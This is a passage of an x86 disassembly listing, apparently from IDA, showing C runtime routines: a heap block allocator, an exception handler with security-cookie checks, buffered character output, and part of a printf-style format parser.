		call	sub_40FF14
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_4103C7

loc_4103E2:				; CODE XREF: sub_4102F9+68j
					; sub_4102F9+8Cj
		mov	dword_434D50, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_410409
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_410432

loc_410409:				; CODE XREF: sub_4102F9+FAj
		and	[ebp+var_4], 0
		mov	edx, [eax+0C4h]
		lea	ecx, [eax+44h]

loc_410416:				; CODE XREF: sub_4102F9+134j
		mov	edi, [ecx]
		and	edx, [ebp+var_8]
		and	edi, esi
		or	edx, edi
		jnz	short loc_41042F
		inc	[ebp+var_4]
		mov	edx, [ecx+84h]
		add	ecx, 4
		jmp	short loc_410416
; ---------------------------------------------------------------------------

loc_41042F:				; CODE XREF: sub_4102F9+126j
		mov	edx, [ebp+var_4]

loc_410432:				; CODE XREF: sub_4102F9+10Ej
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		xor	edi, edi
		and	ecx, esi
		jnz	short loc_410460
		mov	ecx, [eax+edx*4+0C4h]
		and	ecx, [ebp+var_8]
		push	20h
		pop	edi
		jmp	short loc_410460
; ---------------------------------------------------------------------------

loc_41045D:				; CODE XREF: sub_4102F9+169j
		add	ecx, ecx
		inc	edi

loc_410460:				; CODE XREF: sub_4102F9+153j
					; sub_4102F9+162j
		test	ecx, ecx
		jge	short loc_41045D
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		mov	[ebp+var_8], ecx
		jle	short loc_410481
		push	3Fh
		pop	esi

loc_410481:				; CODE XREF: sub_4102F9+183j
		cmp	esi, edi
		jz	loc_41058A
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_4104ED
		cmp	edi, 20h
		mov	ebx, 80000000h
		jge	short loc_4104C1
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_4104EA
		mov	ecx, [ebp+var_14]
		mov	ebx, [ebp+arg_0]
		and	[ebx], ecx
		jmp	short loc_4104ED
; ---------------------------------------------------------------------------

loc_4104C1:				; CODE XREF: sub_4102F9+1A0j
		lea	ecx, [edi-20h]
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	ecx, [eax+ecx*4+0C4h]
		lea	edi, [eax+edi+4]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_4104EA
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_4104ED
; ---------------------------------------------------------------------------

loc_4104EA:				; CODE XREF: sub_4102F9+1BCj
					; sub_4102F9+1E4j
		mov	ebx, [ebp+arg_0]

loc_4104ED:				; CODE XREF: sub_4102F9+196j
					; sub_4102F9+1C6j ...
		cmp	[ebp+var_8], 0
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_410596
		mov	ecx, [ebp+var_C]
		lea	ecx, [ecx+esi*8]
		mov	edi, [ecx+4]
		mov	[edx+8], ecx
		mov	[edx+4], edi
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_410587
		mov	cl, [esi+eax+4]
		mov	byte ptr [ebp+arg_0+3],	cl
		inc	cl
		cmp	esi, 20h
		mov	[esi+eax+4], cl
		jge	short loc_41055E
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_41054C
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi

loc_41054C:				; CODE XREF: sub_4102F9+246j
		mov	ecx, esi
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_410587
; ---------------------------------------------------------------------------

loc_41055E:				; CODE XREF: sub_4102F9+240j
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_410571
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi

loc_410571:				; CODE XREF: sub_4102F9+269j
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi

loc_410587:				; CODE XREF: sub_4102F9+22Ej
					; sub_4102F9+263j
		mov	ecx, [ebp+var_8]

loc_41058A:				; CODE XREF: sub_4102F9+18Aj
		test	ecx, ecx
		jz	short loc_410599
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_410599
; ---------------------------------------------------------------------------

loc_410596:				; CODE XREF: sub_4102F9+20Aj
		mov	ecx, [ebp+var_8]

loc_410599:				; CODE XREF: sub_4102F9+293j
					; sub_4102F9+29Bj
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_4105CF
		cmp	ebx, dword_425FEC
		jnz	short loc_4105CF
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_434D58
		jnz	short loc_4105CF
		and	dword_425FEC, 0

loc_4105CF:				; CODE XREF: sub_4102F9+2BAj
					; sub_4102F9+2C2j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]

loc_4105D7:				; CODE XREF: sub_4102F9+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4102F9	endp

; [00000045 BYTES: COLLAPSED FUNCTION __SEH_prolog4. PRESS KEYPAD "+" TO EXPAND]
; [00000014 BYTES: COLLAPSED FUNCTION __SEH_epilog4. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_410640	proc near		; DATA XREF: __SEH_prolog4o

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00412355 SIZE 00000019 BYTES

		sub	esp, 14h
		push	ebx
		mov	ebx, [esp+18h+arg_4]
		push	ebp
		push	esi
		mov	esi, [ebx+8]
		xor	esi, dword_423068
		push	edi
		mov	eax, [esi]
		cmp	eax, 0FFFFFFFEh
		mov	[esp+24h+var_11], 0
		mov	[esp+24h+var_C], 1
		lea	edi, [ebx+10h]
		jz	short loc_410678
		mov	ecx, [esi+4]
		add	ecx, edi
		xor	ecx, [eax+edi]
		call	sub_40AB4A

loc_410678:				; CODE XREF: sub_410640+29j
		mov	ecx, [esi+0Ch]
		mov	eax, [esi+8]
		add	ecx, edi
		xor	ecx, [eax+edi]
		call	sub_40AB4A
		mov	eax, [esp+24h+arg_0]
		test	byte ptr [eax+4], 66h
		jnz	loc_4107B5
		mov	ebp, [ebx+0Ch]
		cmp	ebp, 0FFFFFFFEh
		mov	ecx, [esp+24h+arg_8]
		lea	edx, [esp+24h+var_8]
		mov	[esp+24h+var_8], eax
		mov	[esp+24h+var_4], ecx
		mov	[ebx-4], edx
		jz	short loc_41070F

loc_4106B1:				; CODE XREF: sub_410640+A2j
		lea	eax, [ebp+ebp*2+0]
		mov	ecx, [esi+eax*4+14h]
		test	ecx, ecx
		lea	ebx, [esi+eax*4+10h]
		mov	eax, [ebx]
		mov	[esp+24h+var_10], eax
		jz	short loc_4106DD
		mov	edx, edi
		call	sub_41233E
		test	eax, eax
		mov	[esp+24h+var_11], 1
		jl	short loc_41071B
		jg	short loc_410725
		mov	eax, [esp+24h+var_10]

loc_4106DD:				; CODE XREF: sub_410640+85j
		cmp	eax, 0FFFFFFFEh
		mov	ebp, eax
		jnz	short loc_4106B1
		cmp	[esp+24h+var_11], 0
		jz	short loc_41070F

loc_4106EB:				; CODE XREF: sub_410640+E3j
					; sub_410640+191j
		mov	eax, [esi]
		cmp	eax, 0FFFFFFFEh
		jz	short loc_4106FF
		mov	ecx, [esi+4]
		add	ecx, edi
		xor	ecx, [eax+edi]
		call	sub_40AB4A

loc_4106FF:				; CODE XREF: sub_410640+B0j
		mov	ecx, [esi+0Ch]
		mov	eax, [esi+8]
		add	ecx, edi
		xor	ecx, [eax+edi]
		call	sub_40AB4A

loc_41070F:				; CODE XREF: sub_410640+6Fj
					; sub_410640+A9j ...
		mov	eax, [esp+24h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------

loc_41071B:				; CODE XREF: sub_410640+95j
		mov	[esp+24h+var_C], 0
		jmp	short loc_4106EB
; ---------------------------------------------------------------------------

loc_410725:				; CODE XREF: sub_410640+97j
		mov	ecx, [esp+24h+arg_0]
		cmp	dword ptr [ecx], 0E06D7363h
		jnz	short loc_41075B
		cmp	ds:off_41EC0C, 0
		jz	short loc_41075B
		push	offset off_41EC0C
		call	sub_4169B2
		add	esp, 4
		test	eax, eax
		jz	short loc_41075B
		mov	edx, [esp+24h+arg_0]
		push	1
		push	edx
		call	ds:off_41EC0C
		add	esp, 8

loc_41075B:				; CODE XREF: sub_410640+EFj
					; sub_410640+F8j ...
		mov	ecx, [esp+24h+arg_4]
		call	sub_41236E
		mov	eax, [esp+24h+arg_4]
		cmp	[eax+0Ch], ebp
		jz	short loc_410780
		push	offset dword_423068
		push	edi
		mov	edx, ebp
		mov	ecx, eax
		call	sub_412388
		mov	eax, [esp+24h+arg_4]

loc_410780:				; CODE XREF: sub_410640+12Bj
		mov	ecx, [esp+24h+var_10]
		mov	[eax+0Ch], ecx
		mov	eax, [esi]
		cmp	eax, 0FFFFFFFEh
		jz	short loc_41079B
		mov	ecx, [esi+4]
		add	ecx, edi
		xor	ecx, [eax+edi]
		call	sub_40AB4A

loc_41079B:				; CODE XREF: sub_410640+14Cj
		mov	ecx, [esi+0Ch]
		mov	edx, [esi+8]
		add	ecx, edi
		xor	ecx, [edx+edi]
		call	sub_40AB4A
		mov	ecx, [ebx+8]
		mov	edx, edi
		jmp	loc_412355
; ---------------------------------------------------------------------------

loc_4107B5:				; CODE XREF: sub_410640+50j
		cmp	dword ptr [ebx+0Ch], 0FFFFFFFEh
		jz	loc_41070F
		push	offset dword_423068
		push	edi
		mov	ecx, ebx
		mov	edx, 0FFFFFFFEh
		call	sub_412388
		jmp	loc_4106EB
sub_410640	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4107D6	proc near		; CODE XREF: sub_40C634+9Fp
					; sub_40CE48+6Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_4]
		push	esi
		call	sub_4126A4
		mov	[ebp+arg_4], eax
		mov	eax, [esi+0Ch]
		test	al, 82h
		pop	ecx
		jnz	short loc_410806
		call	sub_40F7D4
		mov	dword ptr [eax], 9

loc_4107FA:				; CODE XREF: sub_4107D6+3Fj
		or	dword ptr [esi+0Ch], 20h
		or	eax, 0FFFFFFFFh
		jmp	loc_410933
; ---------------------------------------------------------------------------

loc_410806:				; CODE XREF: sub_4107D6+17j
		test	al, 40h
		jz	short loc_410817
		call	sub_40F7D4
		mov	dword ptr [eax], 22h
		jmp	short loc_4107FA
; ---------------------------------------------------------------------------

loc_410817:				; CODE XREF: sub_4107D6+32j
		push	ebx
		xor	ebx, ebx
		test	al, 1
		jz	short loc_410834
		test	al, 10h
		mov	[esi+4], ebx
		jz	loc_4108AE
		mov	ecx, [esi+8]
		and	eax, 0FFFFFFFEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax

loc_410834:				; CODE XREF: sub_4107D6+46j
		mov	eax, [esi+0Ch]
		and	eax, 0FFFFFFEFh
		or	eax, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		mov	[esi+4], ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_410878
		call	sub_411D09
		add	eax, 20h
		cmp	esi, eax
		jz	short loc_410864
		call	sub_411D09
		add	eax, 40h
		cmp	esi, eax
		jnz	short loc_410871

loc_410864:				; CODE XREF: sub_4107D6+80j
		push	[ebp+arg_4]
		call	sub_4172A0
		test	eax, eax
		pop	ecx
		jnz	short loc_410878

loc_410871:				; CODE XREF: sub_4107D6+8Cj
		push	esi
		call	sub_41725C
		pop	ecx

loc_410878:				; CODE XREF: sub_4107D6+74j
					; sub_4107D6+99j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	loc_410905
		mov	eax, [esi+8]
		mov	edi, [esi]
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		sub	edi, eax
		dec	ecx
		cmp	edi, ebx
		mov	[esi+4], ecx
		jle	short loc_4108B9
		push	edi
		push	eax
		push	[ebp+arg_4]
		call	sub_417180
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		jmp	short loc_4108FB
; ---------------------------------------------------------------------------

loc_4108AE:				; CODE XREF: sub_4107D6+4Dj
		or	eax, 20h
		mov	[esi+0Ch], eax
		or	eax, 0FFFFFFFFh
		jmp	short loc_410932
; ---------------------------------------------------------------------------

loc_4108B9:				; CODE XREF: sub_4107D6+C4j
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_4108DC
		cmp	ecx, 0FFFFFFFEh
		jz	short loc_4108DC
		mov	eax, ecx
		and	eax, 1Fh
		imul	eax, 28h
		mov	edx, ecx
		sar	edx, 5
		add	eax, dword_433C00[edx*4]
		jmp	short loc_4108E1
; ---------------------------------------------------------------------------

loc_4108DC:				; CODE XREF: sub_4107D6+E9j
					; sub_4107D6+EEj
		mov	eax, offset dword_423BB8

loc_4108E1:				; CODE XREF: sub_4107D6+104j
		test	byte ptr [eax+4], 20h
		jz	short loc_4108FB
		push	2
		push	ebx
		push	ebx
		push	ecx
		call	sub_416AA1
		and	eax, edx
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410920

loc_4108FB:				; CODE XREF: sub_4107D6+D6j
					; sub_4107D6+10Fj
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41091B
; ---------------------------------------------------------------------------

loc_410905:				; CODE XREF: sub_4107D6+A9j
		xor	edi, edi
		inc	edi
		push	edi
		lea	eax, [ebp+arg_0]
		push	eax
		push	[ebp+arg_4]
		call	sub_417180
		add	esp, 0Ch
		mov	[ebp+var_4], eax

loc_41091B:				; CODE XREF: sub_4107D6+12Dj
		cmp	[ebp+var_4], edi
		jz	short loc_410929

loc_410920:				; CODE XREF: sub_4107D6+123j
		or	dword ptr [esi+0Ch], 20h
		or	eax, 0FFFFFFFFh
		jmp	short loc_410931
; ---------------------------------------------------------------------------

loc_410929:				; CODE XREF: sub_4107D6+148j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh

loc_410931:				; CODE XREF: sub_4107D6+151j
		pop	edi

loc_410932:				; CODE XREF: sub_4107D6+E1j
		pop	ebx

loc_410933:				; CODE XREF: sub_4107D6+2Bj
		pop	esi
		leave
		retn
sub_4107D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_410936	proc near		; CODE XREF: sub_410969+11p
					; sub_41098D+22p ...
		test	byte ptr [ecx+0Ch], 40h
		jz	short loc_410942
		cmp	dword ptr [ecx+8], 0
		jz	short loc_410966

loc_410942:				; CODE XREF: sub_410936+4j
		dec	dword ptr [ecx+4]
		js	short loc_410952
		mov	edx, [ecx]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41095E
; ---------------------------------------------------------------------------

loc_410952:				; CODE XREF: sub_410936+Fj
		movsx	eax, al
		push	ecx
		push	eax
		call	sub_4107D6
		pop	ecx
		pop	ecx

loc_41095E:				; CODE XREF: sub_410936+1Aj
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410966
		or	[esi], eax
		retn
; ---------------------------------------------------------------------------

loc_410966:				; CODE XREF: sub_410936+Aj
					; sub_410936+2Bj
		inc	dword ptr [esi]
		retn
sub_410936	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410969	proc near		; CODE XREF: sub_4109D7+853p
					; sub_4109D7+880p ...

arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, eax
		jmp	short loc_410984
; ---------------------------------------------------------------------------

loc_410971:				; CODE XREF: sub_410969+1Fj
		mov	ecx, [ebp+arg_8]
		mov	al, [ebp+arg_0]
		dec	[ebp+arg_4]
		call	sub_410936
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41098A

loc_410984:				; CODE XREF: sub_410969+6j
		cmp	[ebp+arg_4], 0
		jg	short loc_410971

loc_41098A:				; CODE XREF: sub_410969+19j
		pop	esi
		pop	ebp
		retn
sub_410969	endp


; =============== S U B	R O U T	I N E =======================================



sub_41098D	proc near		; CODE XREF: sub_4109D7+867p
					; sub_4109D7+8CEp ...

arg_0		= dword	ptr  4

		test	byte ptr [edi+0Ch], 40h
		push	ebx
		push	esi
		mov	esi, eax
		mov	ebx, ecx
		jz	short loc_4109CD
		cmp	dword ptr [edi+8], 0
		jnz	short loc_4109CD
		mov	eax, [esp+8+arg_0]
		add	[esi], eax
		jmp	short loc_4109D4
; ---------------------------------------------------------------------------

loc_4109A7:				; CODE XREF: sub_41098D+45j
		mov	al, [ebx]
		dec	[esp+8+arg_0]
		mov	ecx, edi
		call	sub_410936
		inc	ebx
		cmp	dword ptr [esi], 0FFFFFFFFh
		jnz	short loc_4109CD
		call	sub_40F7D4
		cmp	dword ptr [eax], 2Ah
		jnz	short loc_4109D4
		mov	ecx, edi
		mov	al, 3Fh
		call	sub_410936

loc_4109CD:				; CODE XREF: sub_41098D+Aj
					; sub_41098D+10j ...
		cmp	[esp+8+arg_0], 0
		jg	short loc_4109A7

loc_4109D4:				; CODE XREF: sub_41098D+18j
					; sub_41098D+35j
		pop	esi
		pop	ebx
		retn
sub_41098D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=1F8h


sub_4109D7	proc near		; CODE XREF: sub_40C634+80p
					; sub_40CE48+53p ...

var_278		= dword	ptr -278h
var_274		= dword	ptr -274h
var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= dword	ptr -268h
var_260		= dword	ptr -260h
var_25C		= byte ptr -25Ch
var_254		= dword	ptr -254h
var_250		= byte ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_244		= dword	ptr -244h
var_240		= dword	ptr -240h
var_23C		= dword	ptr -23Ch
var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_230		= byte ptr -230h
var_22F		= byte ptr -22Fh
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_211		= byte ptr -211h
var_210		= dword	ptr -210h
var_20C		= byte ptr -20Ch
var_D		= byte ptr -0Dh
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		lea	ebp, [esp-1F8h]
		sub	esp, 278h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+1F8h+var_4], eax
		mov	eax, [ebp+1F8h+arg_0]
		push	ebx
		mov	ebx, [ebp+1F8h+arg_4]
		push	esi
		xor	esi, esi
		push	edi
		mov	edi, [ebp+1F8h+arg_C]
		push	[ebp+1F8h+arg_8]
		lea	ecx, [ebp+1F8h+var_25C]
		mov	[ebp+1F8h+var_228], eax
		mov	[ebp+1F8h+var_224], edi
		mov	[ebp+1F8h+var_244], esi
		mov	[ebp+1F8h+var_210], esi
		mov	[ebp+1F8h+var_238], esi
		mov	[ebp+1F8h+var_218], esi
		mov	[ebp+1F8h+var_234], esi
		mov	[ebp+1F8h+var_248], esi
		mov	[ebp+1F8h+var_23C], esi
		call	sub_40AB59
		cmp	[ebp+1F8h+var_228], esi
		jnz	short loc_410A64

loc_410A37:				; CODE XREF: sub_4109D7+E5j
					; sub_4109D7+138j ...
		call	sub_40F7D4
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		push	esi

loc_410A47:				; CODE XREF: sub_4109D7+948j
		call	sub_40CB08
		add	esp, 14h
		cmp	[ebp+1F8h+var_250], 0
		jz	short loc_410A5C
		mov	eax, [ebp+1F8h+var_254]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_410A5C:				; CODE XREF: sub_4109D7+7Cj
		or	eax, 0FFFFFFFFh
		jmp	loc_411334
; ---------------------------------------------------------------------------

loc_410A64:				; CODE XREF: sub_4109D7+5Ej
		mov	eax, [ebp+1F8h+var_228]
		test	byte ptr [eax+0Ch], 40h
		jnz	loc_410B15
		push	eax
		call	sub_4126A4
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_410AB3
		push	[ebp+1F8h+var_228]
		call	sub_4126A4
		cmp	eax, 0FFFFFFFEh
		pop	ecx
		jz	short loc_410AB3
		push	[ebp+1F8h+var_228]
		call	sub_4126A4
		push	[ebp+1F8h+var_228]
		sar	eax, 5
		lea	esi, ds:433C00h[eax*4]
		call	sub_4126A4
		and	eax, 1Fh
		imul	eax, 28h
		add	eax, [esi]
		pop	ecx
		pop	ecx
		xor	esi, esi
		jmp	short loc_410AB8
; ---------------------------------------------------------------------------

loc_410AB3:				; CODE XREF: sub_4109D7+A4j
					; sub_4109D7+B2j
		mov	eax, offset dword_423BB8

loc_410AB8:				; CODE XREF: sub_4109D7+DAj
		test	byte ptr [eax+24h], 7Fh
		jnz	loc_410A37
		push	[ebp+1F8h+var_228]
		call	sub_4126A4
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_410B06
		push	[ebp+1F8h+var_228]
		call	sub_4126A4
		cmp	eax, 0FFFFFFFEh
		pop	ecx
		jz	short loc_410B06
		push	[ebp+1F8h+var_228]
		call	sub_4126A4
		push	[ebp+1F8h+var_228]
		sar	eax, 5
		lea	esi, ds:433C00h[eax*4]
		call	sub_4126A4
		and	eax, 1Fh
		imul	eax, 28h
		add	eax, [esi]
		pop	ecx
		pop	ecx
		xor	esi, esi
		jmp	short loc_410B0B
; ---------------------------------------------------------------------------

loc_410B06:				; CODE XREF: sub_4109D7+F7j
					; sub_4109D7+105j
		mov	eax, offset dword_423BB8

loc_410B0B:				; CODE XREF: sub_4109D7+12Dj
		test	byte ptr [eax+24h], 80h
		jnz	loc_410A37

loc_410B15:				; CODE XREF: sub_4109D7+94j
		cmp	ebx, esi
		jz	loc_410A37
		mov	dl, [ebx]
		xor	ecx, ecx
		test	dl, dl
		mov	[ebp+1F8h+var_22C], esi
		mov	[ebp+1F8h+var_220], esi
		mov	[ebp+1F8h+var_24C], esi
		mov	[ebp+1F8h+var_211], dl
		jz	loc_411324

loc_410B35:				; CODE XREF: sub_4109D7+931j
		inc	ebx
		cmp	[ebp+1F8h+var_22C], 0
		mov	[ebp+1F8h+var_240], ebx
		jl	loc_411324
		mov	al, dl
		sub	al, 20h
		cmp	al, 58h
		ja	short loc_410B5C
		movsx	eax, dl
		movzx	eax, ds:byte_41E4C8[eax]
		and	eax, 0Fh
		xor	esi, esi
		jmp	short loc_410B60
; ---------------------------------------------------------------------------

loc_410B5C:				; CODE XREF: sub_4109D7+172j
		xor	esi, esi
		xor	eax, eax

loc_410B60:				; CODE XREF: sub_4109D7+183j
		movsx	eax, ds:byte_41E4E8[ecx+eax*8]
		push	7
		sar	eax, 4
		pop	ecx
		cmp	eax, ecx	; switch 8 cases
		mov	[ebp+1F8h+var_26C], eax
		ja	loc_4112F4	; default
		jmp	ds:off_41134F[eax*4] ; switch jump

loc_410B80:				; DATA XREF: .text:off_41134Fo
		or	[ebp+1F8h+var_218], 0FFFFFFFFh ; jumptable 00410B79 case 1
		mov	[ebp+1F8h+var_270], esi
		mov	[ebp+1F8h+var_248], esi
		mov	[ebp+1F8h+var_238], esi
		mov	[ebp+1F8h+var_234], esi
		mov	[ebp+1F8h+var_210], esi
		mov	[ebp+1F8h+var_23C], esi
		jmp	loc_4112F4	; default
; ---------------------------------------------------------------------------

loc_410B9B:				; CODE XREF: sub_4109D7+1A2j
					; DATA XREF: .text:off_41134Fo
		movsx	eax, dl		; jumptable 00410B79 case 2
		sub	eax, 20h
		jz	short loc_410BE1
		sub	eax, 3
		jz	short loc_410BD5
		sub	eax, 8
		jz	short loc_410BCC
		dec	eax
		dec	eax
		jz	short loc_410BC3
		sub	eax, 3
		jnz	loc_4112F4	; default
		or	[ebp+1F8h+var_210], 8
		jmp	loc_4112F4	; default
; ---------------------------------------------------------------------------

loc_410BC3:				; CODE XREF: sub_4109D7+1D8j
		or	[ebp+1F8h+var_210], 4
		jmp	loc_4112F4	; default
; ---------------------------------------------------------------------------

loc_410BCC:				; CODE XREF: sub_4109D7+1D4j
		or	[ebp+1F8h+var_210], 1
		jmp	loc_4112F4	; default
; ---------------------------------------------------------------------------

loc_410BD5:				; CODE XREF: sub_4109D7+1CFj
		or	[ebp+1F8h+var_210], 80h
		jmp	loc_4112F4	; default
; ---------------------------------------------------------------------------

loc_410BE1:				; CODE XREF: sub_4109D7+1CAj
		or	[ebp+1F8h+var_210], 2
		jmp	loc_4112F4	; default
; ---------------------------------------------------------------------------

loc_410BEA:				; CODE XREF: sub_4109D7+1A2j
					; DATA XREF: .text:off_41134Fo
		cmp	dl, 2Ah		; jumptable 00410B79 case 3
		jnz	short loc_410C0F
		add	edi, 4
		mov	[ebp+1F8h+var_224], edi
		mov	edi, [edi-4]
		cmp	edi, esi
		mov	[ebp+1F8h+var_238], edi
		jge	loc_4112F4	; default
		or	[ebp+1F8h+var_210], 4
		neg	[ebp+1F8h+var_238]
		jmp	loc_4112F4	; default
; ---------------------------------------------------------------------------

loc_410C0F:				; CODE XREF: sub_4109D7+216j
		mov	eax, [ebp+1F8h+var_238]
		imul	eax, 0Ah
		movsx	ecx, dl
		lea	eax, [eax+ecx-30h]
		mov	[ebp+1F8h+var_238], eax
		jmp	loc_4112F4	; default
; ---------------------------------------------------------------------------

loc_410C24:				; CODE XREF: sub_4109D7+1A2j
					; DATA XREF: .text:off_41134Fo
		mov	[ebp+1F8h+var_218], esi	; jumptable 00410B79 case 4
		jmp	loc_4112F4	; default
; ---------------------------------------------------------------------------

loc_410C2C:				; CODE XREF: sub_4109D7+1A2j
					; DATA XREF: .text:off_41134Fo
		cmp	dl, 2Ah		; jumptable 00410B79 case 5
		jnz	short loc_410C4E
		add	edi, 4
		mov	[ebp+1F8h+var_224], edi
		mov	edi, [edi-4]
		cmp	edi, esi
		mov	[ebp+1F8h+var_218], edi
		jge	loc_4112F4	; default
		or	[ebp+1F8h+var_218], 0FFFFFFFFh
		jmp	loc_4112F4	; default
; ---------------------------------------------------------------------------

loc_410C4E:				; CODE XREF: sub_4109D7+258j
		mov	eax, [ebp+1F8h+var_218]
		imul	eax, 0Ah
		movsx	ecx, dl
		lea	eax, [eax+ecx-30h]
		mov	[ebp+1F8h+var_218], eax
		jmp	loc_4112F4	; default
; ---------------------------------------------------------------------------

loc_410C63:				; CODE XREF: sub_4109D7+1A2j
					; DATA XREF: .text:off_41134Fo
		cmp	dl, 49h		; jumptable 00410B79 case 6
		jz	short loc_410CAE
		cmp	dl, 68h
		jz	short loc_410CA5
		cmp	dl, 6Ch
		jz	short loc_410C87
		cmp	dl, 77h
		jnz	loc_4112F4	; default
		or	[ebp+1F8h+var_210], 800h
		jmp	loc_4112F4	; default
; ---------------------------------------------------------------------------

loc_410C87:				; CODE XREF: sub_4109D7+299j
		cmp	byte ptr [ebx],	6Ch
		jnz	short loc_410C9C
		inc	ebx
		or	[ebp+1F8h+var_210], 1000h
		mov	[ebp+1F8h+var_240], ebx
		jmp	loc_4112F4	; default
; ---------------------------------------------------------------------------

loc_410C9C:				; CODE XREF: sub_4109D7+2B3j
		or	[ebp+1F8h+var_210], 10h
		jmp	loc_4112F4	; default
; ---------------------------------------------------------------------------

loc_410CA5:				; CODE XREF: sub_4109D7+294j
		or	[ebp+1F8h+var_210], 20h
		jmp	loc_4112F4	; default
; ---------------------------------------------------------------------------

loc_410CAE:				; CODE XREF: sub_4109D7+28Fj
		mov	al, [ebx]
		cmp	al, 36h
		jnz	short loc_410CCB
		cmp	byte ptr [ebx+1], 34h
		jnz	short loc_410CCB
		inc	ebx
		inc	ebx
		or	[ebp+1F8h+var_210], 8000h
